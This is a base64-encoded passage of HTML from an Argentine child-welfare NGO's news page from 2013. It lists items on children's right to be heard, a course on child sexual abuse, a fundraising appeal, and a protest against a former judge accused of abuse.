jdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgog